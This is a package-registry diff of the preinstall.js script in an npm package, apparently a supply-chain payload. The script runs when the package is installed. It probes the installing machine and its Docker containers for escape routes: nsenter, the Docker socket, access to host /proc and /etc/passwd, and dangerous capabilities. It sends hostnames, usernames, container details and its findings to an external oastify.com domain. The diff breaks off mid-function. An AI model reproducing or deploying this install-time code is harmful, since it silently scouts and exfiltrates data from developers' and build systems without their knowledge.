rank4222wun 1.0.34 → 1.0.35

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/preinstall.js CHANGED
@@ -1,629 +1,937 @@
1
- // container-escape-confirmation-with-oast.js
1
+ // multi-container-escape-detector.js
2
2
  const { exec, spawn } = require('child_process');
3
3
  const os = require('os');
4
4
  const fs = require('fs');
5
5
  const path = require('path');
6
6
  const https = require('https');
7
7
  const dns = require('dns');
8
+ const crypto = require('crypto');
8
9
 
9
- console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
10
- console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
10
+ console.log(`
11
+ ╔══════════════════════════════════════════════════════════╗
12
+ ║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
13
+ ║ Advanced Container Security Assessment ║
14
+ ╚══════════════════════════════════════════════════════════╝
15
+ `);
11
16
 
12
- // إعدادات OAST الخاصة بك
13
- const OAST_CONFIG = {
14
- domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
15
- httpsPort: 443,
16
- httpPort: 80,
17
- dnsSubdomain: 'escape-confirmation'
18
- };
19
-
20
- const evidenceLog = {
21
- timestamp: new Date().toISOString(),
22
- sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
23
- oastDomain: OAST_CONFIG.domain,
24
-
25
- // حالة النظام
26
- systemInfo: {
27
- currentHostname: os.hostname(),
28
- currentUser: os.userInfo().username,
29
- platform: os.platform(),
30
- isContainer: null,
31
- containerType: null,
32
- containerId: null
33
- },
34
-
35
- // نتائج فحص الهروب
36
- escapeChecks: {
37
- nsenter: { found: false, accessible: false, evidence: null },
38
- dockerSocket: { found: false, writable: false, containers: [] },
39
- hostMounts: { found: false, mounts: [], hostAccess: false },
40
- procAccess: { accessible: false, hostPid: null },
41
- kernel: { version: null, vulnerable: false, exploits: [] },
42
- capabilities: { dangerous: [], hasSysAdmin: false }
17
+ // ===================== CONFIGURATION =====================
18
+ const CONFIG = {
19
+ // OAST Configuration
20
+ OAST: {
21
+ domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
22
+ httpsPort: 443,
23
+ httpPort: 80,
24
+ apiKey: crypto.randomBytes(16).toString('hex'),
25
+ sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
43
26
  },
44
27
 
45
- // أدلة قاطعة على الهروب
46
- definitiveEvidence: {
47
- differentHostnameConfirmed: false,
48
- hostFilesAccess: false,
49
- hostUsersReadable: false,
50
- hostNetworkVisible: false,
51
- hostProcessesVisible: false
28
+ // Scanning Configuration
29
+ SCAN: {
30
+ maxContainers: 50,
31
+ parallelScans: 5,
32
+ timeoutPerContainer: 30000,
33
+ deepScan: true,
34
+ autoExploit: false,
35
+ stealthMode: false
52
36
  },
53
37
 
54
- // نتائج OAST
55
- oastResults: {
56
- dnsCalled: false,
57
- httpCalled: false,
58
- httpsCalled: false,
59
- interactions: []
38
+ // Detection Methods
39
+ METHODS: {
40
+ nsenter: true,
41
+ dockerSocket: true,
42
+ procAccess: true,
43
+ kernelExploits: true,
44
+ hostMounts: true,
45
+ capabilities: true,
46
+ networkEscape: true
60
47
  },
61
48
 
62
- // النتيجة النهائية
63
- finalVerdict: {
64
- escapedToHost: false,
65
- confidence: 0,
66
- riskLevel: 'UNKNOWN',
67
- escapeMethods: [],
68
- proofPoints: []
49
+ // Output Configuration
50
+ OUTPUT: {
51
+ saveReports: true,
52
+ reportFormat: 'json', // json, html, txt
53
+ verbose: true,
54
+ colorOutput: true
69
55
  }
70
56
  };
71
57
 
72
- // ===================== OAST Interaction Functions =====================
73
- function sendOASTInteraction(type, data) {
74
- const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
75
- const interaction = {
76
- id: interactionId,
77
- type: type,
78
- timestamp: new Date().toISOString(),
79
- data: data
80
- };
81
-
82
- evidenceLog.oastResults.interactions.push(interaction);
83
-
84
- switch(type) {
85
- case 'DNS':
86
- // إرسال DNS request
87
- const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
88
- dns.lookup(dnsHostname, (err, address) => {
89
- if (!err) {
90
- evidenceLog.oastResults.dnsCalled = true;
91
- console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
92
- }
93
- });
94
- break;
58
+ // ===================== GLOBAL STATE =====================
59
+ const STATE = {
60
+ startTime: Date.now(),
61
+ containers: {},
62
+ hostInfo: null,
63
+ networkMap: {},
64
+ vulnerabilities: {},
65
+ oastInteractions: [],
66
+ statistics: {
67
+ totalContainers: 0,
68
+ scannedContainers: 0,
69
+ escapedContainers: 0,
70
+ vulnerableContainers: 0,
71
+ criticalEscapes: 0
72
+ }
73
+ };
74
+
75
+ // ===================== UTILITY FUNCTIONS =====================
76
+ class ContainerScanner {
77
+ constructor(containerId) {
78
+ this.id = containerId;
79
+ this.shortId = containerId.substring(0, 12);
80
+ this.info = {
81
+ id: containerId,
82
+ name: '',
83
+ image: '',
84
+ status: '',
85
+ escapeStatus: 'unknown',
86
+ confidence: 0,
87
+ evidence: [],
88
+ methods: [],
89
+ risk: 'low',
90
+ network: {},
91
+ mounts: [],
92
+ capabilities: [],
93
+ vulnerabilities: []
94
+ };
95
+ this.rawData = {};
96
+ }
97
+
98
+ async scan() {
99
+ try {
100
+ console.log(`\n🔍 Scanning container: ${this.shortId}`);
95
101
 
96
- case 'HTTP':
97
- // إرسال HTTP request
98
- const httpReq = require('http').request({
99
- hostname: OAST_CONFIG.domain,
100
- port: OAST_CONFIG.httpPort,
101
- path: `/${interactionId}`,
102
- method: 'GET',
103
- headers: {
104
- 'User-Agent': 'ContainerEscapeConfirm/1.0',
105
- 'X-Session-ID': evidenceLog.sessionId,
106
- 'X-Check-Type': data.checkType || 'unknown'
107
- }
108
- }, (res) => {
109
- let body = '';
110
- res.on('data', chunk => body += chunk);
111
- res.on('end', () => {
112
- evidenceLog.oastResults.httpCalled = true;
113
- console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
114
- });
115
- });
102
+ // Collect basic info
103
+ await this.collectBasicInfo();
116
104
 
117
- httpReq.on('error', () => {});
118
- httpReq.write(JSON.stringify(data));
119
- httpReq.end();
120
- break;
105
+ // Perform escape checks
106
+ await this.performEscapeChecks();
121
107
 
122
- case 'HTTPS':
123
- // إرسال HTTPS request (الأهم)
124
- const httpsReq = https.request({
125
- hostname: OAST_CONFIG.domain,
126
- port: OAST_CONFIG.httpsPort,
127
- path: `/container-escape-evidence`,
128
- method: 'POST',
129
- headers: {
130
- 'Content-Type': 'application/json',
131
- 'User-Agent': 'ContainerEscapeDetector/1.0',
132
- 'X-Session-ID': evidenceLog.sessionId,
133
- 'X-Hostname': os.hostname(),
134
- 'X-Check-Point': data.checkPoint || 'initial'
135
- }
136
- }, (res) => {
137
- let responseBody = '';
138
- res.on('data', chunk => responseBody += chunk);
139
- res.on('end', () => {
140
- evidenceLog.oastResults.httpsCalled = true;
141
- console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
142
-
143
- // تخزين رد السيرفر إذا أرسل بيانات
144
- if (responseBody) {
145
- try {
146
- const serverResponse = JSON.parse(responseBody);
147
- interaction.serverResponse = serverResponse;
148
- } catch (e) {}
149
- }
150
- });
151
- });
108
+ // Analyze results
109
+ await this.analyzeResults();
152
110
 
153
- httpsReq.on('error', (e) => {
154
- console.log(`⚠️ OAST HTTPS error (may be expected): ${e.message}`);
155
- });
111
+ // Report to OAST
112
+ await this.reportToOAST();
156
113
 
157
- httpsReq.write(JSON.stringify({
158
- sessionId: evidenceLog.sessionId,
159
- timestamp: new Date().toISOString(),
160
- checkPoint: data.checkPoint,
161
- evidence: data.evidence,
162
- systemInfo: evidenceLog.systemInfo
163
- }));
114
+ // Update statistics
115
+ this.updateStatistics();
164
116
 
165
- httpsReq.end();
166
- break;
117
+ return this.info;
118
+ } catch (error) {
119
+ console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
120
+ this.info.escapeStatus = 'scan_failed';
121
+ return this.info;
122
+ }
167
123
  }
168
- }
169
124
 
170
- // ===================== Phase 1: Basic Container Detection =====================
171
- function detectContainerEnvironment() {
172
- console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
173
-
174
- const checks = [
175
- {
176
- name: 'cgroup_check',
177
- command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
178
- handler: (output) => {
179
- if (output) {
180
- if (output.includes('docker')) {
181
- evidenceLog.systemInfo.isContainer = true;
182
- evidenceLog.systemInfo.containerType = 'Docker';
183
- // استخراج Container ID
184
- const match = output.match(/docker\/([a-f0-9]{64})/);
185
- if (match) {
186
- evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
187
- }
188
- console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
189
- } else if (output.includes('kubepods')) {
190
- evidenceLog.systemInfo.isContainer = true;
191
- evidenceLog.systemInfo.containerType = 'Kubernetes';
192
- console.log("✅ في حاوية Kubernetes");
193
- }
194
- }
195
- }
196
- },
197
- {
198
- name: 'rootfs_check',
199
- command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
200
- handler: (output) => {
201
- if (!output.includes('NOT_OVERLAY')) {
202
- evidenceLog.systemInfo.isContainer = true;
203
- console.log("✅ نظام ملفات overlay (حاوية)");
204
- }
205
- }
206
- },
207
- {
208
- name: 'container_runtime',
209
- command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
210
- handler: (output) => {
211
- if (!output.includes('NO_RUNTIME')) {
212
- console.log(`✅ Container runtime موجود: ${output.trim()}`);
125
+ async collectBasicInfo() {
126
+ const commands = {
127
+ name: `docker inspect ${this.id} --format '{{.Name}}'`,
128
+ image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
129
+ status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
130
+ ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
131
+ ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
132
+ mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
133
+ privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
134
+ capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
135
+ };
136
+
137
+ for (const [key, cmd] of Object.entries(commands)) {
138
+ try {
139
+ const result = await this.executeCommand(cmd);
140
+ this.rawData[key] = result;
141
+
142
+ // Parse specific data
143
+ switch(key) {
144
+ case 'name':
145
+ this.info.name = result.replace(/^\//, '');
146
+ break;
147
+ case 'image':
148
+ this.info.image = result;
149
+ break;
150
+ case 'status':
151
+ this.info.status = result;
152
+ break;
153
+ case 'ip':
154
+ this.info.network.ip = result;
155
+ break;
156
+ case 'mounts':
157
+ try {
158
+ this.info.mounts = JSON.parse(result || '[]');
159
+ } catch (e) {}
160
+ break;
161
+ case 'capabilities':
162
+ try {
163
+ this.info.capabilities = JSON.parse(result || '[]');
164
+ } catch (e) {}
165
+ break;
213
166
  }
167
+ } catch (e) {
168
+ this.rawData[key] = null;
214
169
  }
215
170
  }
216
- ];
217
-
218
- let completed = 0;
219
- checks.forEach(check => {
220
- exec(check.command, { timeout: 3000 }, (err, stdout) => {
221
- if (!err && stdout) check.handler(stdout);
222
- completed++;
223
- if (completed === checks.length) {
224
- // إرسال DNS check إلى OAST
225
- sendOASTInteraction('DNS', {
226
- checkType: 'container_detection',
227
- result: evidenceLog.systemInfo
228
- });
229
-
230
- setTimeout(performEscapeVerification, 2000);
171
+ }
172
+
173
+ async performEscapeChecks() {
174
+ const checks = [];
175
+
176
+ if (CONFIG.METHODS.nsenter) {
177
+ checks.push(this.checkNsenterEscape());
178
+ }
179
+
180
+ if (CONFIG.METHODS.dockerSocket) {
181
+ checks.push(this.checkDockerSocketEscape());
182
+ }
183
+
184
+ if (CONFIG.METHODS.procAccess) {
185
+ checks.push(this.checkProcEscape());
186
+ }
187
+
188
+ if (CONFIG.METHODS.hostMounts) {
189
+ checks.push(this.checkMountEscape());
190
+ }
191
+
192
+ if (CONFIG.METHODS.kernelExploits) {
193
+ checks.push(this.checkKernelVulnerabilities());
194
+ }
195
+
196
+ if (CONFIG.METHODS.capabilities) {
197
+ checks.push(this.checkDangerousCapabilities());
198
+ }
199
+
200
+ if (CONFIG.METHODS.networkEscape) {
201
+ checks.push(this.checkNetworkEscape());
202
+ }
203
+
204
+ await Promise.all(checks);
205
+ }
206
+
207
+ async checkNsenterEscape() {
208
+ const command = `docker exec ${this.id} sh -c '
209
+ which nsenter >/dev/null 2>&1 &&
210
+ nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
211
+ echo "FAILED"
212
+ '`;
213
+
214
+ try {
215
+ const result = await this.executeCommand(command);
216
+ if (!result.includes('FAILED') && result.trim()) {
217
+ this.info.methods.push('nsenter');
218
+ this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
219
+ this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
231
220
  }
232
- });
233
- });
234
- }
221
+ } catch (e) {}
222
+ }
235
223
 
236
- // ===================== Phase 2: Escape Verification =====================
237
- function performEscapeVerification() {
238
- console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
239
-
240
- // إرسال HTTP ping إلى OAST
241
- sendOASTInteraction('HTTP', {
242
- checkPoint: 'escape_verification_start',
243
- currentHostname: evidenceLog.systemInfo.currentHostname
244
- });
245
-
246
- const verificationTests = [
247
- // Test 1: nsenter access
248
- {
249
- name: 'nsenter_test',
250
- commands: [
251
- 'which nsenter 2>/dev/null || echo "NOT_FOUND"',
252
- 'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
253
- ],
254
- handler: (results) => {
255
- const [nsenterPath, nsenterOutput] = results;
224
+ async checkDockerSocketEscape() {
225
+ const commands = [
226
+ // Check if docker.sock is mounted
227
+ `docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
228
+ // Try to access Docker API
229
+ `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
230
+ ];
231
+
232
+ try {
233
+ const [socketCheck, apiCheck] = await Promise.all(
234
+ commands.map(cmd => this.executeCommand(cmd))
235
+ );
236
+
237
+ if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
238
+ this.info.methods.push('docker_socket');
239
+ this.info.evidence.push('Docker socket accessible and writable');
256
240
 
257
- evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
241
+ // Try to list other containers
242
+ const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
243
+ const containerCount = await this.executeCommand(listCmd);
258
244
 
259
- if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
260
- evidenceLog.escapeChecks.nsenter.accessible = true;
261
-
262
- // تحليل النتيجة
263
- const lines = nsenterOutput.split('\n');
264
- let hostHostname = '';
265
- let containerHostname = '';
266
-
267
- lines.forEach(line => {
268
- if (line.startsWith('HOST_HOSTNAME:')) {
269
- hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
270
- }
271
- if (line.startsWith('CONTAINER_HOSTNAME:')) {
272
- containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
273
- }
245
+ if (parseInt(containerCount) > 1) {
246
+ this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
247
+ this.sendOAST('docker_socket_escape', {
248
+ container: this.shortId,
249
+ accessible: true,
250
+ containerCount: containerCount.trim()
274
251
  });
275
-
276
- if (hostHostname && containerHostname && hostHostname !== containerHostname) {
277
- evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
278
- evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
279
- console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
280
-
281
- // إرسال أدلة قوية إلى OAST
282
- sendOASTInteraction('HTTPS', {
283
- checkPoint: 'nsenter_escape_confirmed',
284
- evidence: {
285
- hostHostname: hostHostname,
286
- containerHostname: containerHostname,
287
- method: 'nsenter'
288
- }
289
- });
290
- }
291
252
  }
292
253
  }
293
- },
294
-
295
- // Test 2: Docker socket access
296
- {
297
- name: 'docker_socket_test',
298
- commands: [
299
- 'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
300
- 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
301
- ],
302
- handler: (results) => {
303
- const [socketInfo, dockerInfo] = results;
304
-
305
- evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
306
- evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
254
+ } catch (e) {}
255
+ }
256
+
257
+ async checkProcEscape() {
258
+ const command = `docker exec ${this.id} sh -c '
259
+ cat /proc/1/status 2>/dev/null | head -5 &&
260
+ cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
261
+ echo "NO_ACCESS"
262
+ '`;
263
+
264
+ try {
265
+ const result = await this.executeCommand(command);
266
+ if (!result.includes('NO_ACCESS') && result.includes('State:')) {
267
+ this.info.methods.push('proc_access');
268
+ this.info.evidence.push('Can access host init process via /proc/1/');
269
+ this.sendOAST('proc_escape', { container: this.shortId });
270
+ }
271
+ } catch (e) {}
272
+ }
273
+
274
+ async checkMountEscape() {
275
+ const command = `docker exec ${this.id} sh -c '
276
+ mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
277
+ cat /proc/mounts 2>/dev/null | head -20
278
+ '`;
279
+
280
+ try {
281
+ const result = await this.executeCommand(command);
282
+ if (result) {
283
+ const lines = result.split('\n');
284
+ const dangerousMounts = lines.filter(line =>
285
+ line.includes('/proc') ||
286
+ line.includes('/sys') ||
287
+ line.includes('/dev') ||
288
+ line.includes('overlay')
289
+ );
307
290
 
308
- if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
309
- evidenceLog.escapeChecks.dockerSocket.accessible = true;
310
- console.log("✅ Docker socket accessible from container!");
291
+ if (dangerousMounts.length > 0) {
292
+ this.info.methods.push('host_mounts');
293
+ this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
311
294
 
312
- // محاولة سرد الحاويات الأخرى
313
- exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
314
- (err, stdout) => {
315
- if (!err && stdout && !isNaN(parseInt(stdout))) {
316
- const containerCount = parseInt(stdout);
317
- if (containerCount > 1) {
318
- evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
319
- console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
320
-
321
- sendOASTInteraction('HTTPS', {
322
- checkPoint: 'docker_socket_access',
323
- evidence: {
324
- socketAccessible: true,
325
- containerCount: containerCount,
326
- method: 'docker_socket'
327
- }
328
- });
329
- }
330
- }
295
+ // Check if we can access host files through mounts
296
+ const testCmd = `docker exec ${this.id} sh -c '
297
+ ls -la /home 2>/dev/null | head -3 ||
298
+ cat /etc/passwd 2>/dev/null | head -3 ||
299
+ echo "NO_HOST_ACCESS"
300
+ '`;
301
+
302
+ const accessResult = await this.executeCommand(testCmd);
303
+ if (!accessResult.includes('NO_HOST_ACCESS')) {
304
+ this.info.evidence.push('Can access host files through mounts');
305
+ this.sendOAST('mount_escape', {
306
+ container: this.shortId,
307
+ mounts: dangerousMounts.slice(0, 3),
308
+ hostAccess: true
331
309
  });
310
+ }
332
311
  }
333
312
  }
334
- },
335
-
336
- // Test 3: Host filesystem access
337
- {
338
- name: 'host_files_test',
339
- commands: [
340
- 'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
341
- 'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
342
- 'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
343
- ],
344
- handler: (results) => {
345
- const [mountInfo, homeAccess, passwdAccess] = results;
346
-
347
- if (!homeAccess.includes('NO_ACCESS')) {
348
- evidenceLog.definitiveEvidence.hostFilesAccess = true;
349
- console.log("🎯 DETECTED: Can access /home directory of host!");
350
- }
351
-
352
- if (!passwdAccess.includes('NO_ACCESS')) {
353
- evidenceLog.definitiveEvidence.hostUsersReadable = true;
354
- console.log("🎯 DETECTED: Can read /etc/passwd of host!");
355
- }
313
+ } catch (e) {}
314
+ }
315
+
316
+ async checkKernelVulnerabilities() {
317
+ const command = `docker exec ${this.id} sh -c '
318
+ uname -r &&
319
+ grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
320
+ echo "NO_INFO"
321
+ '`;
322
+
323
+ try {
324
+ const result = await this.executeCommand(command);
325
+ if (!result.includes('NO_INFO')) {
326
+ const lines = result.split('\n');
327
+ const kernel = lines[0]?.trim();
356
328
 
357
- if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
358
- sendOASTInteraction('HTTPS', {
359
- checkPoint: 'host_filesystem_access',
360
- evidence: {
361
- homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
362
- passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
329
+ if (kernel) {
330
+ this.info.vulnerabilities.push(`Kernel: ${kernel}`);
331
+
332
+ // Check for known vulnerable kernels
333
+ const vulnerableKernels = {
334
+ 'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
335
+ 'DirtyCow': /^(2\.6\.|3\.|4\.)/,
336
+ 'Shocker': /^(3\.8|3\.9|3\.10)\./
337
+ };
338
+
339
+ for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
340
+ if (pattern.test(kernel)) {
341
+ this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
342
+ this.sendOAST('kernel_vuln', {
343
+ container: this.shortId,
344
+ kernel: kernel,
345
+ vulnerability: vuln
346
+ });
347
+ break;
363
348
  }
364
- });
349
+ }
365
350
  }
366
351
  }
367
- },
368
-
369
- // Test 4: Host processes access
370
- {
371
- name: 'host_processes_test',
372
- commands: [
373
- 'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
374
- 'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
375
- ],
376
- handler: (results) => {
377
- const [psOutput, proc1Status] = results;
378
-
379
- if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
380
- evidenceLog.definitiveEvidence.hostProcessesVisible = true;
381
- console.log("✅ Can see host processes");
382
- }
352
+ } catch (e) {}
353
+ }
354
+
355
+ async checkDangerousCapabilities() {
356
+ const command = `docker exec ${this.id} sh -c '
357
+ capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
358
+ echo "NO_CAPSH"
359
+ '`;
360
+
361
+ try {
362
+ const result = await this.executeCommand(command);
363
+ if (!result.includes('NO_CAPSH') && result.trim()) {
364
+ const dangerousCaps = [
365
+ 'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
366
+ 'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
367
+ ];
383
368
 
384
- if (!proc1Status.includes('NO_ACCESS')) {
385
- evidenceLog.escapeChecks.procAccess.accessible = true;
386
- evidenceLog.escapeChecks.procAccess.hostPid = '1';
387
- console.log("🎯 DETECTED: Can access host init process (PID 1)!");
369
+ const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
370
+ if (foundCaps.length > 0) {
371
+ this.info.methods.push('capabilities');
372
+ this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
373
+ this.sendOAST('dangerous_caps', {
374
+ container: this.shortId,
375
+ capabilities: foundCaps
376
+ });
388
377
  }
389
378
  }
390
- },
391
-
392
- // Test 5: Network visibility
393
- {
394
- name: 'network_test',
395
- commands: [
396
- 'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
397
- 'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
398
- ],
399
- handler: (results) => {
400
- const [routeOutput, ipOutput] = results;
401
-
402
- if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
403
- evidenceLog.definitiveEvidence.hostNetworkVisible = true;
404
- console.log("✅ Can see host network configuration");
405
- }
379
+ } catch (e) {}
380
+ }
381
+
382
+ async checkNetworkEscape() {
383
+ const commands = [
384
+ `docker exec ${this.id} ip route show 2>/dev/null | head -5`,
385
+ `docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
386
+ `docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
387
+ ];
388
+
389
+ try {
390
+ const results = await Promise.all(
391
+ commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
392
+ );
393
+
394
+ if (results.some(r => r.trim())) {
395
+ this.info.methods.push('network_escape');
396
+ this.info.network.details = {
397
+ routes: results[0]?.split('\n').slice(0, 3) || [],
398
+ connections: results[1]?.split('\n').slice(0, 5) || [],
399
+ iptables: results[2]?.split('\n').slice(0, 10) || []
400
+ };
406
401
  }
402
+ } catch (e) {}
403
+ }
404
+
405
+ async analyzeResults() {
406
+ // Calculate confidence score
407
+ let score = 0;
408
+
409
+ // Method points
410
+ const methodPoints = {
411
+ nsenter: 25,
412
+ docker_socket: 30,
413
+ proc_access: 20,
414
+ host_mounts: 15,
415
+ capabilities: 10,
416
+ network_escape: 10
417
+ };
418
+
419
+ this.info.methods.forEach(method => {
420
+ score += methodPoints[method] || 0;
421
+ });
422
+
423
+ // Vulnerability points
424
+ if (this.info.vulnerabilities.length > 0) {
425
+ score += this.info.vulnerabilities.length * 10;
407
426
  }
408
- ];
409
-
410
- let testsCompleted = 0;
411
- const testResults = {};
412
-
413
- verificationTests.forEach(test => {
414
- testResults[test.name] = [];
415
- let commandsCompleted = 0;
416
-
417
- test.commands.forEach((cmd, idx) => {
418
- exec(cmd, { timeout: 5000 }, (err, stdout) => {
419
- testResults[test.name][idx] = stdout || '';
420
- commandsCompleted++;
421
-
422
- if (commandsCompleted === test.commands.length) {
423
- test.handler(testResults[test.name]);
424
- testsCompleted++;
425
-
426
- if (testsCompleted === verificationTests.length) {
427
- setTimeout(analyzeEvidence, 3000);
428
- }
427
+
428
+ // Evidence points
429
+ score += Math.min(this.info.evidence.length * 5, 25);
430
+
431
+ // Capabilities points
432
+ if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
433
+ score += 20;
434
+ }
435
+
436
+ // Determine escape status
437
+ this.info.confidence = Math.min(100, score);
438
+
439
+ if (this.info.confidence >= 70) {
440
+ this.info.escapeStatus = 'confirmed';
441
+ this.info.risk = 'critical';
442
+ } else if (this.info.confidence >= 40) {
443
+ this.info.escapeStatus = 'probable';
444
+ this.info.risk = 'high';
445
+ } else if (this.info.confidence >= 20) {
446
+ this.info.escapeStatus = 'possible';
447
+ this.info.risk = 'medium';
448
+ } else {
449
+ this.info.escapeStatus = 'unlikely';
450
+ this.info.risk = 'low';
451
+ }
452
+ }
453
+
454
+ async reportToOAST() {
455
+ if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
456
+ const payload = {
457
+ sessionId: CONFIG.OAST.sessionId,
458
+ timestamp: new Date().toISOString(),
459
+ container: {
460
+ id: this.shortId,
461
+ name: this.info.name,
462
+ image: this.info.image
463
+ },
464
+ escape: {
465
+ status: this.info.escapeStatus,
466
+ confidence: this.info.confidence,
467
+ risk: this.info.risk,
468
+ methods: this.info.methods,
469
+ evidence: this.info.evidence.slice(0, 5)
470
+ },
471
+ vulnerabilities: this.info.vulnerabilities
472
+ };
473
+
474
+ this.sendOAST('container_escape_report', payload);
475
+ }
476
+ }
477
+
478
+ sendOAST(type, data) {
479
+ const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
480
+ const interaction = {
481
+ id: interactionId,
482
+ type: type,
483
+ timestamp: new Date().toISOString(),
484
+ container: this.shortId,
485
+ data: data
486
+ };
487
+
488
+ STATE.oastInteractions.push(interaction);
489
+
490
+ // Send via HTTPS
491
+ const req = https.request({
492
+ hostname: CONFIG.OAST.domain,
493
+ port: CONFIG.OAST.httpsPort,
494
+ path: '/multi-container-escape',
495
+ method: 'POST',
496
+ headers: {
497
+ 'Content-Type': 'application/json',
498
+ 'X-Session-ID': CONFIG.OAST.sessionId,
499
+ 'X-Container-ID': this.shortId,
500
+ 'X-API-Key': CONFIG.OAST.apiKey,
501
+ 'User-Agent': 'MultiContainerEscapeDetector/3.0'
502
+ }
503
+ }, (res) => {
504
+ let body = '';
505
+ res.on('data', chunk => body += chunk);
506
+ res.on('end', () => {
507
+ if (CONFIG.OUTPUT.verbose) {
508
+ console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
429
509
  }
430
510
  });
431
511
  });
432
- });
433
- }
434
-
435
- // ===================== Phase 3: Evidence Analysis =====================
436
- function analyzeEvidence() {
437
